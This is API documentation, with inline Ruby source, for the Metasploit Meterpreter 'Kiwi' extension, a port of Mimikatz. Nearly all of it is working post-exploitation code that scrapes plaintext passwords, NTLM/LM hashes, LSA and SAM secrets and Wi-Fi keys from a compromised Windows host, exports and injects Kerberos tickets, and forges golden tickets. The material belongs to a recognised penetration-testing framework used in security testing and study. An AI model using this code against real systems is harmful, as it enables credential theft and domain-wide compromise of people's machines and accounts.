class Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constants

KERBEROS_FLAGS

List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the Mimikatz 2.0 source base.

PWD_ID_SEK_ALLPASS

These are constants that identify the type of credential to dump from the target machine.

PWD_ID_SEK_DPAPI
PWD_ID_SEK_KERBEROS
PWD_ID_SEK_LIVESSP
PWD_ID_SEK_MSV
PWD_ID_SEK_SSP
PWD_ID_SEK_TSPKG
PWD_ID_SEK_WDIGEST

Public Class Methods

new(client) click to toggle source

Typical extension initialization routine.

@param client (see Extension#initialize)

Calls superclass method Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 65
def initialize(client)
  super(client, 'kiwi')

  client.register_extension_aliases(
    [
      {
        'name' => 'kiwi',
        'ext'  => self
      },
    ])
end

Public Instance Methods

all_pass() click to toggle source

Scrape all passwords from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 320
def all_pass
  scrape_passwords(PWD_ID_SEK_ALLPASS)
end
golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) click to toggle source

Create a new golden kerberos ticket on the target machine and return it.

@param user [String] Name of the user to create the ticket for. @param domain [String] Domain name. @param sid [String] SID of the domain. @param tgt [String] The kerberos ticket granting token. @param id [Fixnum] ID of the user to grant the token for. @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user

@return [String]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 219
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
  request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)

  group_ids.each do |g|
    request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
  end

  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end
kerberos() click to toggle source

Scrape Kerberos credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 368
def kerberos
  scrape_passwords(PWD_ID_SEK_KERBEROS)
end
kerberos_ticket_list(export) click to toggle source

List available kerberos tickets.

@param export [Bool] Set to true to export the content of each ticket

@return [Array<Hash>]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 156
def kerberos_ticket_list(export)
  export ||= false
  request = Packet.create_request('kiwi_kerberos_ticket_list')
  request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
    results << {
      :enc_type     => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
      :start        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
      :end          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
      :max_renew    => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
      :server       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
      :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
      :client       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
      :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
      :flags        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
      :raw          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
    }
  end

  results
end
kerberos_ticket_purge() click to toggle source

Purge any Kerberos tickets that have been added to the current session.

@return [void]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 201
def kerberos_ticket_purge
  request = Packet.create_request('kiwi_kerberos_ticket_purge')
  client.send_request(request)
  return true
end
kerberos_ticket_use(ticket) click to toggle source

Use the given ticket in the current session.

@param ticket [String] Content of the Kerberos ticket to use.

@return [void]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 189
def kerberos_ticket_use(ticket)
  request = Packet.create_request('kiwi_kerberos_ticket_use')
  request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
  client.send_request(request)
  return true
end
livessp() click to toggle source

Scrape LiveSSP credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 344
def livessp
  scrape_passwords(PWD_ID_SEK_LIVESSP)
end
lsa_dump() click to toggle source

Dump the LSA secrets from the target machine.

@return [Hash<Symbol,Object>]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 81
def lsa_dump
  request = Packet.create_request('kiwi_lsa_dump_secrets')

  response = client.send_request(request)

  result = {
    :major    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
    :minor    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
    :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
    :syskey   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
    :nt5key   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
    :nt6keys  => [],
    :secrets  => [],
    :samkeys  => []
  }

  response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
    result[:nt6keys] << {
      :id    => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
      :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
    result[:secrets] << {
      :name        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
      :service     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
      :ntlm        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
      :current     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
      :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
      :old         => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
      :old_raw     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
    result[:samkeys] << {
      :rid       => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
      :user      => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
      :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
      :lm_hash   => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
    }
  end

  result
end
msv() click to toggle source

Scrape msv credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 336
def msv
  scrape_passwords(PWD_ID_SEK_MSV)
end
scrape_passwords(pwd_id) click to toggle source

Scrape passwords from the target machine.

@param pwd_id [Fixnum] ID of the type credential to scrape.

@return [Array<Hash>]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 281
def scrape_passwords(pwd_id)
  request = Packet.create_request('kiwi_scrape_passwords')
  request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
  response = client.send_request(request)

  # keep track of unique entries
  uniques = Set.new

  results = []
  response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
    result = {
      :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
      :domain   => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
      :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
      :auth_hi  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
      :auth_lo  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
      :lm       => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
      :ntlm     => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
    }

    # generate a "unique" set identifier based on the domain/user/pass. We
    # don't use the whole object because the auth hi/low might be different
    # but everything else might be the same. Join with non-printable, as this
    # can't appear in passwords anyway.
    set_id = [result[:domain], result[:username], result[:password]].join("\x01")

    # only add to the result list if we don't already have it
    if uniques.add?(set_id)
      results << result
    end
  end

  return results
end
ssp() click to toggle source

Scrape SSP credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 352
def ssp
  scrape_passwords(PWD_ID_SEK_SSP)
end
to_kerberos_flag_list(flags) click to toggle source

Convert a flag set to a list of string representations for the bit flags that are set.

@param flags [Fixnum] Integer bitmask of Kerberos token flags.

@return [Array<String>] Names of all set flags in flags. See

{KERBEROS_FLAGS}
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 136
def to_kerberos_flag_list(flags)
  flags = flags >> 16
  results = []

  KERBEROS_FLAGS.each_with_index do |item, idx|
    if (flags & (1 << idx)) != 0
      results  << item
    end
  end

  results
end
tspkg() click to toggle source

Scrape TSPKG credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 360
def tspkg
  scrape_passwords(PWD_ID_SEK_TSPKG)
end
wdigest() click to toggle source

Scrape wdigest credentials from the target machine.

@return (see scrape_passwords)

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 328
def wdigest
  scrape_passwords(PWD_ID_SEK_WDIGEST)
end
wifi_list() click to toggle source

List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.

@return [Array<Hash>]

# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 240
def wifi_list
  request = Packet.create_request('kiwi_wifi_profile_list')

  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_WIFI_INT) do |i|
    interface = {
      :guid     => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)),
      :desc     => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC),
      :state    => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE),
      :profiles => []
    }

    i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p|

      xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML)
      doc = REXML::Document.new(xml)
      profile = doc.elements['WLANProfile']

      interface[:profiles] << {
        :name        => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME),
        :auth        => profile.elements['MSM/security/authEncryption/authentication'].text,
        :key_type    => profile.elements['MSM/security/sharedKey/keyType'].text,
        :shared_key  => profile.elements['MSM/security/sharedKey/keyMaterial'].text
      }
    end

    results << interface
  end

  return results
end